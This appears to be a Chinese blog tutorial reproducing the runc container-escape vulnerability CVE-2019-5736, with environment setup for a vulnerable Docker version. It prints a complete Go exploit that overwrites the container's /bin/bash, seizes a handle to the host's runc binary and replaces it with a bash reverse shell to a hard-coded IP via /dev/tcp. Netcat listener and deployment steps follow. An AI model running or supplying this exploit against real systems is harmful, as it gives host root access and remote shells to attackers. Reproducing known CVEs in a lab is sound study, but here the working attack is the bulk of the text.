docker逃逸-cve-2019-5736

docker逃逸-cve-2019-5736

0. 简介

Docker、containerd或其他基于runc的容器运行时存在安全漏洞。攻击者可以通过特定的容器镜像或exec操作获取到宿主机runc执行时的文件句柄并以覆写方式篡改runc二进制文件,从而获取宿主机root权限。

runc运行过程

runc启动并加入到指定容器的命名空间,接着以自身(""/proc/self/exe")为范本启动一个子进程,最后通过exec系统调用执行用户指定的二进制程序。

/proc/[PID]/exe

一种特殊的符号链接,又被称为magiclinks,指向进程自身对应的本地程序文件(例如我们执行ls,/proc/[PID]/exe就指向/bin/ls)。其特殊之处在于,当打开这个文件时,在权限检查通过的情况下,内核将直接返回一个指向该文件的描述符,而非以传统打开方式去做路径解析和文件查找,绕过了mnt命名空间及chroot对进程可访问路径的限制。

1. 环境配置

ubuntu16科学上网

bash 复制代码
sudo apt-get update
# 安装依赖工具
sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common
#添加 Docker 的 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
#添加docker的仓库源
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
#更新包索引
sudo apt-get update
#列出 Docker 版本
apt-cache madison docker-ce
#安装docker
sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
seveng0@ubuntu:~$ docker -v
seveng0@ubuntu:~$ docker-runc -v

使用代理加速docker pull

bash 复制代码
sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/proxy.conf

编辑proxy.conf文件,按i插入,esc回到命令模式,:wq保存退出。
代理替换成自己的
vim /etc/systemd/system/docker.service.d/proxy.conf

[Service]
Environment="HTTP_PROXY=socks5://192.168.75.180:10810"
Environment="HTTPS_PROXY=socks5://192.168.75.180:10810"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"

重启docker

bash 复制代码
systemctl daemon-reload &systemctl restart docker
bash 复制代码
docker pull nginx
docker run --name nginx-test -p 8080:80 -d nginx
docker ps -a

2. 复现

核心步骤

  • 覆盖容器内的 /bin/sh,使其指向 /proc/self/exe(即当前进程的可执行文件)。
  • 查找宿主机的 runc 进程,获取其文件句柄。
  • 通过文件句柄覆盖宿主机的 runc 二进制文件,插入恶意代码。
  • 当宿主机上的 runc 被执行时,恶意代码将被执行。

EXP

go 复制代码
package main

// 导入必要的Go标准库包
import (
    "fmt"           // 格式化I/O
    "io/ioutil"     // I/O实用程序
    "os"            // 操作系统功能
    "strconv"       // 字符串和基本数据类型的转换
    "strings"       // 字符串操作
    "flag"          // 命令行标志解析
)

// 声明一个全局变量,用于存储从命令行传递来的shell命令
var shellCmd string

// init函数用于初始化命令行标志
func init() {
    // 定义一个命令行标志`-shell`,用于指定要执行的任意命令
    flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
    // 解析命令行标志
    flag.Parse()
}

// main函数是程序的入口点
func main() {
    // 定义一个bash反向shell的payload,连接到指定的IP和端口
    // 注意:这里的IP地址需要修改为攻击者的IP
    var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.142.132/8095 0>&1" + shellCmd

    // 第一步:覆盖/bin/sh为/proc/self/exe解释器路径
    // 创建一个新的文件/bin/bash
    fd, err := os.Create("/bin/bash")
    if err != nil {
        fmt.Println(err)
        return
    }
    // 向/bin/bash写入#!/proc/self/exe,使其指向自身
    fmt.Fprintln(fd, "#!/proc/self/exe")
    // 关闭文件描述符
    err = fd.Close()
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println("[+] Overwritten /bin/sh successfully")

    // 第二步:找到runcinit进程的PID
    var found int
    for found == 0 {
        // 读取/proc目录,列出所有进程
        pids, err := ioutil.ReadDir("/proc")
        if err != nil {
            fmt.Println(err)
            return
        }
        // 遍历每个进程目录
        for _, f := range pids {
            // 读取进程的cmdline文件
            fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
            fstring := string(fbytes)
            // 检查cmdline是否包含"runc",以找到runcinit进程
            if strings.Contains(fstring, "runc") {
                fmt.Println("[+] Found the PID:", f.Name())
                // 将找到的PID转换为整数
                found, err = strconv.Atoi(f.Name())
                if err != nil {
                    fmt.Println(err)
                    return
                }
            }
        }
    }

    // 第三步:获取runc进程的文件句柄
    var handleFd = -1
    for handleFd == -1 {
        // 打开runc进程的exe文件,只读模式
        handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
        if int(handle.Fd()) > 0 {
            handleFd = int(handle.Fd())
        }
    }
    fmt.Println("[+] Successfully got the file handle")

    // 第四步:利用文件句柄覆盖runc二进制文件
    for {
        // 通过文件句柄打开runc进程exe的写入接口,截断文件
        writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
        if int(writeHandle.Fd()) > 0 {
            fmt.Println("[+] Successfully got write handle", writeHandle)
            fmt.Println("[+] The command executed is" + payload)
            // 将payload写入runc进程
            writeHandle.Write([]byte(payload))
            return
        }
    }
}

cmd里编译go

bash 复制代码
set CGO_ENABLED=0
set GOOS=linux
set GOARCH=amd64
go build -o main main.go
# 禁用 CGO,生成的可执行文件将不依赖外部的 C 库,而是完全静态链接
# 指定目标操作系统为 Linux
# 指定目标 CPU 架构为 amd64

拖进虚拟机里,docker复制到容器里

docker cp /home/seveng0/Desktop/pwn/main 83c5117caf82:/home
docker exec -it 83c5117caf82 /bin/bash
cd /home
./main

起个终端

nc -lvvp 8095

再起个终端

docker exec -it 83c5117caf82 /bin/bash

成功反弹shell

参考

CVE-2019-5736复现 docker逃逸漏洞 buchiyexiao

Docker逃逸漏洞复现(CVE-2019-5736) m01ly

相关推荐
skywalk816313 分钟前
Windows10下docker desktop命令行操作指南(大部分也适用于Linux)
运维·docker·容器
火绒终端安全管理系统1 小时前
火绒终端安全管理系统V2.0--分层防御之行为拦截层
网络·安全·web安全·网络安全·火绒安全
二楼后座。4 小时前
mac 被禁用docker ui后,如何使用lima虚拟机启动docker
macos·docker·容器·lima
小涵5 小时前
【DevOps】Backstage介绍及如何在Azure Kubernetes Service上进行部署
docker·容器·kubernetes·azure·devops·backstage
A5rZ6 小时前
ctf-web:php反序列化逃逸 -- GHCTF Escape!
网络安全·php
H轨迹H6 小时前
文件上传fuzz工具-Upload_Auto_Fuzz
网络安全·渗透测试·ctf·文件上传·web漏洞
Pee Wee7 小时前
shell脚本一键更新部署docker中服务
运维·docker·容器
不羁。。9 小时前
【网络安全工程】任务12:网络安全设备
网络·安全·web安全·网络安全·php